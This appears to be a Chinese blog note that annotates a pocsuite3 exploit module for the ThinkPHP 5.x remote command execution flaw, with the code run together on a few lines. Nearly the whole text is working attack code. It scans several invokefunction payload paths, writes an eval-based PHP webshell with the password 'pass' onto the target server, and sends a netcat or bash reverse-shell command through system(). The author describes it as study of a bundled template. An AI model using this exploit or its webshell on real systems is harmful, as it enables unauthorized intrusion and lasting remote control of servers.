thinkphp_rce命令执行模板编写
# -*- coding: utf-8 -*-# @Time : 2022/7/22 13:58# @Author : m0re# @Software : Pycharmfrom collections import OrderedDictfrom urllib.parse import quotefrom pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, REVERSE_PAYLOAD, OptDict, VUL_TYPEfrom pocsuite3.lib.utils import random_strclass DemoPOC(POCBase):vulID = '97715'version = '1.0'author = ['m0re']vulDate = '2022-7-22'createDate = '2022-7-22'updateDate = '2022-7-22'references = ['https://www.seebug.org/vuldb/ssvid-97715']name = 'ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用(GetShell)'appPowerLink = 'https://www.thinkphp.cn/'appName = 'thinkphp'appVersion = 'thinkphp5.1.31'vulType = VUL_TYPE.CODE_EXECUTION # 代码执行desc = '''ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。''' # https://blog.thinkphp.cn/869075samples = []category = POC_CATEGORY.EXPLOITS.WEBAPP # 分类为webapppocDesc = '''攻击模式下将会生成一个一句话shell,成功返回shell地址,shell密码为pass''' # 这个POC可以实现什么功能,怎么利用?def _options(self):o = OrderedDict()payload = { # 两个反弹shell的payload先写下来"nc": REVERSE_PAYLOAD.NC, # NC的"bash": REVERSE_PAYLOAD.BASH, # bash的}o["command"] = OptDict(selected="bash", default=payload) # 自定义一个命令参数后面调用return odef _check(self, url):flag = 'Registered PHP Streams' # 特征(如果验证成功会返回什么样的特征)data = OrderedDict([ # 三个方法函数,这是thinkphp在此版本中可以利用RCE的payload中的方法("function", "call_user_func_array"),("vars[0]", "phpinfo"),("vars[1][]", "-1")])payloads = [r"/?s=admin/\think\app/invokefunction", # 同上,是payload中的一部分,只不过需要看实际情况分两部分,随机应变吧r"/admin.php?s=admin/\think\app/invokefunction",r"/index.php?s=admin/\think\app/invokefunction",r"/?s=index/\think\Container/invokefunction",r"/index.php?s=index/\think\Container/invokefunction",r"/index.php?s=index/\think\app/invokefunction"]for payload in payloads: #遍历payload,逐个payload利用vul_url = url + payloadr = requests.post(vul_url, data=data)if flag in r.text: # 找到攻击成功的payloadreturn payload, dict(data)return Falsedef _verify(self): # 验证模式result = {}p = self._check(self.url) # 得到payloadif p: # 如果有可以打成功的payload,那就将信息保存下来result['VerifyInfo'] = {} # result['VerifyInfo']为定义的保存数据的集合result['VerifyInfo']['URL'] = p[0] # 上面payload的前半部分result['VerifyInfo']['Postdata'] = p[1] # payload后半部分return self.parse_output(result)def _attack(self): # 攻击模式(留下木马)result = {}filename = random_str(6) + ".php" # 木马的文件名,随机六位的文件名webshell = r'''<?php echo "green day";@eval($_POST["pass"]);?>''' # 一句话木马内容,"green day"是个特征p = self._check(self.url) # 得到payloadif p:data = p[1]data["vars[1][]"] = "echo%20%27{content}%27%20>%20{filename}".format(filename=filename,content=quote(webshell)) # 写入木马data["vars[0]"] = "system"vulurl = self.url + p[0] # 漏洞地址为url+payload前半部分requests.post(vulurl, data=data) # 再次访问到漏洞地址,执行这个写入木马的命令r = requests.get(self.url + "/" + filename) # 访问木马if r.status_code == 200 and "green day" in r.text: # 如果这个木马页面存在(状态码==200)并且木马的特征(上面提到的green day)存在result['ShellInfo'] = {} # 返回webshell的信息result['ShellInfo']['URL'] = self.url + "/" + filenameresult['ShellInfo']['Content'] = webshellif not result:vulurl = self.url + r"/index.php?s=index/\think\template\driver\file/write&cacheFile={filename}&content={content}"vulurl = vulurl.format(filename=filename, content=quote(webshell))requests.get(vulurl)r = requests.get(self.url + "/" + filename)if r.status_code == 200 and "green day" in r.text:result['ShellInfo'] = {}result['ShellInfo']['URL'] = self.url + "/" + filenameresult['ShellInfo']['Content'] = webshellreturn self.parse_output(result)def _shell(self): # shell模式# cmd = REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port())cmd = self.get_option("command") # 直接调用自定义参数来执行命令p = self._check(self.url)if p: # 跟上面一样data = p[1]data["vars[0]"] = "system"data["vars[1][]"] = cmdvulurl = self.url + p[0]requests.post(vulurl, data=data)def parse_output(self, result): # 输出信息output = Output(self)if result: # 验证成功output.success(result)else: # 没有找到可用payload,那么这个地址不存在该漏洞,返回的信息output.fail('target is not vulnerable')return outputregister_poc(DemoPOC)
这个thinkphp的代码执行POC是pocsuite中自带的一个模板,我只是将整个POC解读了一下。大概理解了这个意思。等下次可以自行写个其他的POC。
记于<font style="color:#E8323C;">2022/7/22</font>
